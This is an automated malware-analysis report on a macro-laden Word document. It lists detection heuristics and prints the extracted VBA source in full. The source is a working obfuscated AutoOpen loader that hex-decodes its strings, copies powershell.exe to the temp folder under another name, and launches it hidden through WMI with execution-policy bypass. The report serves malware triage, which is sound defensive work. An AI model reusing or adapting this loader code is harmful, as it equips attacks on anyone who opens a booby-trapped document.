MALICIOUS
300
Risk Score
Heuristics 9
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ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set hmpcpzsncuuc = CreateObject(pqhirlnpdrqq("5762656d536372697074696e672e535762") & pqhirlnpdrqq("656d4c6f6361746f72")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set hmpcpzsncuuc = CreateObject(pqhirlnpdrqq("5762656d536372697074696e672e535762") & pqhirlnpdrqq("656d4c6f6361746f72")) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
temppath = Environ("tmp") + "\zubizuru.exe" -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2234 bytes |
SHA-256: adca955b91ffb0407dfcf6aa3512dbb399c0822ff93d9addbb7a06e59ce8e243 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Set hmpcpzsncuuc = CreateObject(pqhirlnpdrqq("5762656d536372697074696e672e535762") & pqhirlnpdrqq("656d4c6f6361746f72"))
Set mductbxclysndlk = hmpcpzsncuuc.ConnectServer()
mductbxclysndlk.Security_.ImpersonationLevel = 3
Set mlzuruauoegdn = mductbxclysndlk.Get(pqhirlnpdrqq("57696e33") & pqhirlnpdrqq("325f50726f6365737353746172747570"))
Set yhsroojnaovjlwr = mlzuruauoegdn.SpawnInstance_
yhsroojnaovjlwr.ShowWindow = 0
Set vzkhdatuwlzhic = mductbxclysndlk.Get(pqhirlnpdrqq("57696e") & pqhirlnpdrqq("33325f5072") + pqhirlnpdrqq("6f636573") & pqhirlnpdrqq("73"))
temppath = Environ("tmp") + "\zubizuru.exe"
RunPath = temppath + pqhirlnpdrqq("202d657865637520625970202d57694e642048696464654e202d63202470726f66696c65203d2024656e763a74656d702b275c7a757275626174657374696e67273b204e65772d4974656d202d50617468202470726f66696c65202d4974656d54797065202766696c6527202d") & pqhirlnpdrqq("466f726365")
Dim pshellPath
a = pqhirlnpdrqq("706f77")
b = pqhirlnpdrqq("6572") & pqhirlnpdrqq("736865")
c = pqhirlnpdrqq("6c6c2e6578") & pqhirlnpdrqq("65")
d = a + b + c
E = pqhirlnpdrqq("57696e") & pqhirlnpdrqq("64")
f = pqhirlnpdrqq("6f777350") & pqhirlnpdrqq("6f77")
g = pqhirlnpdrqq("6572") & pqhirlnpdrqq("5368656c6c")
h = E + f + g + h
pshellPath = pqhirlnpdrqq("433a") & pqhirlnpdrqq("5c5c57696e646f77735c5c53797374656d33325c5c") + h + pqhirlnpdrqq("5c5c76312e") & pqhirlnpdrqq("305c5c") + d
Dim fso: Set sfhwbgftbcydogb = CreateObject(pqhirlnpdrqq("536372697074696e672e46696c655379") & pqhirlnpdrqq("7374656d4f626a656374"))
sfhwbgftbcydogb.CopyFile pshellPath, temppath
errReturn = vzkhdatuwlzhic.Create(RunPath, Null, yhsroojnaovjlwr, ProcessID)
End Sub
Private Function pqhirlnpdrqq(ByVal jicokgjjruin As String) As String
Dim qtoxyehamnfh As Long
For qtoxyehamnfh = 1 To Len(jicokgjjruin) Step 2
pqhirlnpdrqq = pqhirlnpdrqq & Chr$(Val("&H" & Mid$(jicokgjjruin, qtoxyehamnfh, 2)))
Next qtoxyehamnfh
End Function
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 10752 bytes |
SHA-256: e0d76f2ba3084e724620d9c9fa88091e14d56bb427fabbac5db9e9dbd1d7a543 |
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Detection
ClamAV:
Doc.Malware.Valyria-6923224-0
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
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